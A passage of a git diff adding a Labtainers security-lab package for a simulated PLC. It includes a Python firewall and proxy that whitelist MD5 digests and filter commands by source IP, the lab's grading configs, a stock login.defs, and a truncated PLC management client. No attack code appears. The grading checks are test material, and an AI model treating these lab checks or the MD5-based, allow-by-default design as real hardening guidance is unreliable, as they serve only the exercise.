logging.debug('%s client closed' % who) + return None + try: + size = int(size_str) + except: + logging.debug('getData could not parse int from <%s>' % size_str) + exit(1) + #logging.debug('%s getData size is %d' % (who, size)) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + #logging.debug('received "%d bytes"' % len(data)) + if data: + rbytes = rbytes + data + else: + logging.debug('no more data from', who) + break + if who != 'from-plc': + for c in valid_commands: + look = c+':' + if rbytes.startswith(look): + logging.debug('Command: %s received from %s' % (c, who)) + logging.debug('%s done read, got total of %d bytes' % (who, len(rbytes))) + except socket.error: + logging.debug('firewall socket error %s' % str(socket.error)) + connection.close() + rbytes = None + return rbytes + +def sendData(connection, data, who): + ''' + Send data to the connection, prefixed by a four character length field. + The who field is simply for debugging + ''' + size = len(data) + logging.debug('%s sendData %d bytes' % (who, size)) + size_str = '%4d' % size + connection.sendall(size_str) + connection.sendall(data) + +def responses(connection, remote_sock): + #logging.debug('in responses') + rdata = '' + while rdata is not None: + rdata = getData(remote_sock, 'from-plc') + #logging.debug('responses back from getData with %s' % rdata) + if rdata is not None: + sendData(connection, rdata, 'responses') + else: + #logging.debug('responses got None from-plc') + pass + exit() + +def checkData(data, whitelist): + retval = True + if data is None: + retval = False + elif data != 'status:' and data != 'retrieve:' and data != 'reset:': + if data.startswith('load'): + data = data[5:] + m = hashlib.md5() + m.update(data) + d = m.hexdigest() + logging.debug('digest is %s' % d) + if d not in whitelist: + logging.debug('digest FAILS %s' % d) + retval = False + + if 'bad stuff' in data: + retval = False + return retval + +def checkFilter(src_ip, rdata, filters): + #logging.debug('check filters for ip %s' % src_ip) + if src_ip not in filters: + logging.debug('****** Address %s not in filters ******' % src_ip) + return False + authorized = filters[src_ip].split(',') + for c in valid_commands: + look = c+':' + if rdata.startswith(look): + if c not in authorized: + logging.debug('***** Command %s not authorized for %s ***** ' % (c, src_ip)) + return False + return True + +def runProxy(whitelist, config, filters): + global connection + global response_thread + print('in run') + sys.stderr = open('err.txt', 'w') + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + # Create a TCP/IP socket for firewall server & client + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + local_server_address = ('172.25.0.3', 10000) + remote_server_address = ('172.26.0.3', 10000) + logging.debug('starting up on %s port %s' % local_server_address) + sock.bind(local_server_address) + # Listen for incoming connections + sock.listen(1) + while True: + #print('wait') + # Wait for a connection + logging.debug('waiting for a connection') + try: + connection, client_address = sock.accept() + except: + logging.error('failed accept on %s' % local_server_address) + exit(1) + src_ip, src_port = connection.getpeername() + #logging.debug('got peer %s' % src_ip) + connection.setblocking(True) + connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + remote_sock.connect(remote_server_address) + remote_sock.setblocking(True) + remote_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + response_thread = threading.Thread(target=responses, args=(connection, remote_sock)) + response_thread.start() + rdata = '' + + while rdata is not None: + rdata = getData(connection, src_ip) + if rdata is not None: + if len(filters) > 0: + if not checkFilter(src_ip, rdata, filters): + logging.debug('***** Filter blocked traffic *****') + rdata = None + continue + if len(whitelist) > 0: + if checkData(rdata, whitelist): + sendData(remote_sock, rdata, 'to-server') + elif rdata is not None: + logging.debug('***** Data failed check, dropping it! *****') + rdata = None + else: + #logging.debug('got None from getData from-manager') + pass + else: + ''' whitelist empty, just send it ''' + sendData(remote_sock, rdata, 'to-server') + #logging.debug('close the connections, we got None') + time.sleep(1) + connection.close() + try: + remote_sock.shutdown(socket.SHUT_RDWR) + remote_sock.close() + except socket.error, msg: + logging.debug('Failed to close remote_sock, client dropped?: %s' % msg) + +def checkRunning(): + cmd = 'systemctl status firewall' + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if 'Active: active (running)' not in output[0]: + return False + else: + return True + +def validateCommands(command_list): + clist = command_list.split(',') + for c in clist: + if c not in valid_commands: + print('Unknown command %s. Filter not modified.' % c) + return False + return True + +def main(): + LOGFILE = "./firewall.log" + whitelist_file = "/etc/firewall_whitelist.txt" + proxy_config = "/etc/firewall.config" + config = ConfigParser.ConfigParser() + config.read(proxy_config) + whitelist = [] + filters = {} + if os.path.isfile(whitelist_file): + with open(whitelist_file) as fh: + for line in fh: + whitelist.append(line.strip()) + + filter_file = "/etc/firewall_filter.txt" + if os.path.isfile(filter_file): + with open(filter_file, 'r') as fh: + try: + filters = json.load(fh) + except: + ''' empty or corrupt json, just start with an empty one ''' + pass + logging.basicConfig(filename=LOGFILE, level=logging.DEBUG, + format='%(asctime)s %(levelname)-8s %(message)s', datefmt='%y-%m-%d %H:%M:%S') + global connection + connection = None + parser = argparse.ArgumentParser(prog='plcfirewall', description='Run or configure the plc firewall. The firewall can be configured to use \ + a whitelist of MD5 hashes to validate programs and data destined for the PLC. Use the "-a" option to add a MD5 digest to the whitelist.\ + The default state of the firewall has an empty whitelist, which causes all traffic to be allowed through to the PLC. \ + Prior to altering the whitelist, you must stop the firewall from running by using "sudo systemctl stop firewall". \ + After changing the configuration, restart the firewall using "sudo systemctl start firewall."') + parser.add_argument('-l', '--list', action='store_true', help='List the current command filters and whitelist signatures') + parser.add_argument('-a', '--add', action='store', metavar=('digest'), help='Add a MD5 digest to the whitelist') + parser.add_argument('-r', '--remove', action='store', metavar=('digest'), help='Remove a digest from the whitelist') + parser.add_argument('-f', '--filter', action='store', nargs=2, metavar=('IP address, command list'), help='Filter PLC commands based on their source IP. \ + The command list consists of authorized PLC commands, seperated by commas, with no spaces. \ + The initial state of the firewall has no filters, which results in all commands from all sources being permitted. \ + When there is at least one defined filter, then only commands that match a filter will be permitted. \ + And command list value of "delete" will delete the filter entry for the given IP address. \ + A command list value of "all" implies all commands, i.e., "status,retrieve,reset,load"') + + num_args = len(sys.argv) + if num_args == 1: + print("logging to ./firewall.log") + if len(whitelist) == 0: + print('Warning, whitelist is empty. All traffic will be permitted.') + logging.debug('Warning, whitelist is empty. All traffic will be permitted.') + logging.debug("Starting firewall") + runProxy(whitelist, config, filters) + else: + args = parser.parse_args() + if args.list: + if len(filters) == 0: + print('Filters is empty (no filtering will be applied)') + else: + print('Current filters:') + for ip in filters: + print('\t%s: %s' % (ip, filters[ip])) + if len(whitelist) == 0: + print('Whitelist is empty') + else: + print('Current whitelist:') + for line in whitelist: + print('\t%s' % line) + elif args.add is not None: + if checkRunning(): + print('Use "sudo systemctl stop firewall" prior to changing the configuration') + else: + whitelist.append(args.add) + with open(whitelist_file, 'w') as fh: + for line in whitelist: + fh.write(line+'\n') + elif args.filter is not None: + if checkRunning(): + print('Use "sudo systemctl stop firewall" prior to changing the configuration') + else: + ip, command_list = args.filter + if command_list == 'delete' and ip in filters: + del filters[ip] + elif command_list == 'all': + filters[ip] = 'status,retrieve,load,reset' + else: + if validateCommands(command_list): + filters[ip] = command_list + + with open(filter_file, 'w') as fh: + json.dump(filters, fh) + + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/usr/bin/proxy.orig b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/usr/bin/proxy.orig new file mode 100755 index 000000000..19afcbc62 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/usr/bin/proxy.orig @@ -0,0 +1,229 @@ +#!/usr/bin/env python +import socket +import sys +import time +import signal +import threading +import hashlib +import logging +import argparse +import os +import ConfigParser +import subprocess + +def signal_handler(signal, frame): + global connection + global response_thread + logging.debug('got signal, close connection') + if connection is not None: + connection.close() + logging.debug('signal handler, exit') + exit(0) + + +def getData(connection, who): + ''' + Read data from the connection based on its initial 4 character size field. + The who field is simply for debugging. + ''' + rbytes = '' + try: + #logging.debug('%s getData get size' % who) + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + logging.debug('%s client closed' % who) + return None + try: + size = int(size_str) + except: + logging.debug('getData could not parse int from <%s>' % size_str) + exit(1) + #logging.debug('%s getData size is %d' % (who, size)) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + #logging.debug('received "%d bytes"' % len(data)) + if data: + rbytes = rbytes + data + else: + logging.debug('no more data from', client_address) + break + logging.debug('%s done read, got total of %d bytes' % (who, len(rbytes))) + except socket.error: + logging.debug('proxy socket error %s' % str(socket.error)) + connection.close() + rbytes = None + return rbytes + +def sendData(connection, data, who): + ''' + Send data to the connection, prefixed by a four character length field. + The who field is simply for debugging + ''' + size = len(data) + logging.debug('%s sendData %d bytes' % (who, size)) + size_str = '%4d' % size + connection.sendall(size_str) + connection.sendall(data) + +def responses(connection, remote_sock): + #logging.debug('in responses') + rdata = '' + while rdata is not None: + rdata = getData(remote_sock, 'from-plc') + #logging.debug('responses back from getData with %s' % rdata) + if rdata is not None: + sendData(connection, rdata, 'responses') + else: + logging.debug('responses got None from-plc') + exit() + +def checkData(data, whitelist): + retval = True + if data is None: + retval = False + elif data != 'status:' and data != 'retrieve:' and data != 'reset:': + if data.startswith('load'): + data = data[5:] + m = hashlib.md5() + m.update(data) + d = m.hexdigest() + logging.debug('digest is %s' % d) + if d not in whitelist: + logging.debug('digest FAILS %s' % d) + retval = False + + if 'bad stuff' in data: + retval = False + return retval + +def runProxy(whitelist, config): + global connection + global response_thread + sys.stderr = open('err.txt', 'w') + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + # Create a TCP/IP socket for proxy server & client + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + local_server_address = ('172.25.0.3', 10000) + remote_server_address = ('172.26.0.3', 10000) + logging.debug('starting up on %s port %s' % local_server_address) + sock.bind(local_server_address) + # Listen for incoming connections + sock.listen(1) + while True: + # Wait for a connection + logging.debug('waiting for a connection') + connection, client_address = sock.accept() + connection.setblocking(True) + connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + remote_sock.connect(remote_server_address) + remote_sock.setblocking(True) + remote_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + response_thread = threading.Thread(target=responses, args=(connection, remote_sock)) + response_thread.start() + rdata = '' + + while rdata is not None: + rdata = getData(connection, 'from-manager') + if config.get('DEFAULT', 'enable') == 'yes': + if checkData(rdata, whitelist): + sendData(remote_sock, rdata, 'to-server') + elif rdata is not None: + logging.debug('Data failed check, dropping it!') + rdata = None + else: + logging.debug('got None from getData from-manager') + elif rdata is not None: + ''' whitelist checking disabled, just send it ''' + sendData(remote_sock, rdata, 'to-server') + logging.debug('close the connections, we got None') + time.sleep(1) + connection.close() + try: + remote_sock.shutdown(socket.SHUT_RDWR) + remote_sock.close() + except socket.error, msg: + logging.debug('Failed to close remote_sock, client dropped?: %s' % msg) + +def checkRunning(): + cmd = 'systemctl status proxy' + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if 'Active: active (running)' not in output[0]: + return False + else: + return True + +def main(): + LOGFILE = "./proxy.log" + whitelist_file = "/etc/proxy_whitelist.txt" + proxy_config = "/etc/proxy.config" + config = ConfigParser.ConfigParser() + config.read(proxy_config) + whitelist = [] + if os.path.isfile(whitelist_file): + with open(whitelist_file) as fh: + for line in fh: + whitelist.append(line.strip()) + logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) + global connection + connection = None + parser = argparse.ArgumentParser(prog='plcproxy', description='Run or configure the plc proxy. The proxy can be configured to use \ + a whitelist of MD5 hashes to validate programs and data destined for the PLC. Use the "-a" option to add a MD5 digest to the whitelist.\ + The default state of the proxy disables whitelist \ + validation, allowing all traffic through the proxy. Use the "-e" option to enable validation. \ + Prior to enabling validation, or altering the whitelist, you must stop the proxy from running by using "sudo systemctl stop proxy". \ + After changing the configuration, restart the proxy using "sudo systemctl start proxy."') + parser.add_argument('-l', '--list', action='store_true', help='List the current status and whitelist signatures') + parser.add_argument('-a', '--add', action='store', metavar=('digest'), help='Add a MD5 digest to the whitelist') + parser.add_argument('-r', '--remove', action='store', metavar=('digest'), help='Remove a whitelist digest') + parser.add_argument('-e', '--enable', action='store_true', help='Enable whitelist validation') + parser.add_argument('-d', '--disable', action='store_true', help='Disable whitelist validation, permit all traffic.') + num_args = len(sys.argv) + if num_args == 1: + print("logging to ./proxy.log") + if len(whitelist) == 0: + print('Warning, whitelist is empty') + logging.debug('Warning, whitelist is empty') + logging.debug("Starting proxy") + runProxy(whitelist, config) + else: + args = parser.parse_args() + if args.list: + print('Whitelist checking enabled: %s' % config.get('DEFAULT', 'enable')) + if len(whitelist) == 0: + print('Whitelist is empty') + else: + print('Current whitelist:') + for line in whitelist: + print('\t%s' % line) + elif args.add is not None: + if checkRunning(): + print('Use "sudo systemctl stop proxy" prior to changing the configuration') + else: + whitelist.append(args.add) + with open(whitelist_file, 'w') as fh: + for line in whitelist: + fh.write(line+'\n') + elif args.enable: + if checkRunning(): + print('Use "sudo systemctl stop proxy" prior to changing the configuration') + else: + config.set('DEFAULT', 'enable', 'yes') + with open(proxy_config, 'w') as fh: + config.write(fh) + elif args.disable: + if checkRunning(): + print('Use "sudo systemctl stop proxy" prior to changing the configuration') + else: + config.set('DEFAULT', 'enable', 'no') + with open(proxy_config, 'w') as fh: + config.write(fh) + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/goals.config new file mode 100644 index 000000000..0d502ff57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/goals.config @@ -0,0 +1,8 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +_ch_manager = matchacross : string_diff : check_manager : check_manager +_ch_plc = matchacross : string_diff : check_plc : check_plc +_ch_nothere = matchacross : string_diff : check_nothere : check_nothere +#DOC: The student modified files that were not to be touched. +user_changed_files = count_greater : 0 : (_ch_manager, _ch_plc, _ch_nothere) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/results.config new file mode 100644 index 000000000..1c5b8ac95 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see ..../docs/goals.config.format +#DOC: Secured the PLC, preventing upload of corrupting software +secured_plc = plc:water_level.log : CONTAINS : PLC Secured +#DOC: Filtered reset commands coming from monitor +blocked_reset = firewall:firewall.log : CONTAINS : Command reset not authorized for 172.25.0.5 +check_manager = sys_management:precheck.stdout : 3 : STARTSWITH : manage_plc.py +check_plc = sys_management:precheck.stdout : 3 : STARTSWITH : plc.c +check_nothere = sys_management:precheck.stdout : 3 : STARTSWITH : nothere diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_bin/fixlocal.sh new file mode 100755 index 000000000..8c7ea90c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_bin/fixlocal.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo systemctl enable heartbeat +# unblock the waitparam.service, which is a predicate for heartbeat +PERMLOCKDIR=/var/labtainer/did_param +sudo mkdir -p "$PERMLOCKDIR" +sudo systemctl start heartbeat diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/lib/systemd/system/heartbeat.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/lib/systemd/system/heartbeat.service new file mode 100644 index 000000000..fc57b4437 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/lib/systemd/system/heartbeat.service @@ -0,0 +1,15 @@ +[Unit] +Description=Heartbeat Service +After=waitparam.service + +[Service] +Type=simple +ExecStart=/usr/bin/heartbeat.py +StandardOutput=null +WorkingDirectory=/home/admin +User=admin + +[Install] +WantedBy=multi-user.target +Alias=heartbeat.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/usr/bin/heartbeat.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/usr/bin/heartbeat.py new file mode 100755 index 000000000..c1af7620c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/usr/bin/heartbeat.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python +import os +import time +import subprocess +import logging +LOGFILE = "./historian.log" +print("logging to %s" % LOGFILE) +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG, + format='%(asctime)s %(levelname)-8s %(message)s', datefmt='%y-%m-%d %H:%M:%S') +logging.debug("Starting historian") + +cmd = 'manage_plc status' +while True: + time.sleep(20) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + logging.debug('%s' % output[0].strip()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/usr/bin/manage_plc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/usr/bin/manage_plc new file mode 100755 index 000000000..4de632a74 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/monitor/_system/usr/bin/manage_plc @@ -0,0 +1,109 @@ +#!/usr/bin/env python +import socket +import sys +import argparse + + +def doConnect(): + # Create a TCP/IP socket + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Connect the socket to the port where the server is listening + server_address = ('172.25.0.3', 10000) + print >>sys.stderr, 'connecting to %s port %s' % server_address + try: + sock.connect(server_address) + except: + return None + return sock + +def doSend(sock, data): + size = len(data) + size_str = '%4d' % size + sock.sendall(size_str) + sock.sendall(data) + +def getData(connection): + rbytes = '' + try: + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + return None + try: + size = int(size_str) + except: + print >>sys.stderr, 'getData could not parse int from <%s>' % size_str + exit(1) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + #print >>sys.stderr, 'received "%d bytes"' % len(data) + if data: + rbytes = rbytes + data + else: + #print >>sys.stderr, 'no more data from', client_address + break + #print >>sys.stderr, 'done read, got total of %d bytes' % len(rbytes) + except socket.error: + print >>sys.stderr, 'firewall socket error %s' % str(socket.error) + connection.close() + rbytes = None + return rbytes + +parser = argparse.ArgumentParser() +subparsers = parser.add_subparsers(dest='command') +load_parser = subparsers.add_parser('load', help='load program and configuration data into the PLC') +load_parser.add_argument('program', type=str, help='File name of the program') +load_parser.add_argument('configuration', type=str, help='File name of the configuration data') +status_parser = subparsers.add_parser('status', help='determine if the plc is running') +retrieve_parser = subparsers.add_parser('retrieve', help='Get program and data from the plc and store in local file') +reset = subparsers.add_parser('reset', help='Resets the PLC to its initial state with no program running.') + + +args = parser.parse_args() + +sock = doConnect() +if sock is None: + print('Error connecting to PLC or firewall') + exit(0) +sock.setblocking(True) +if args.command == 'status': + 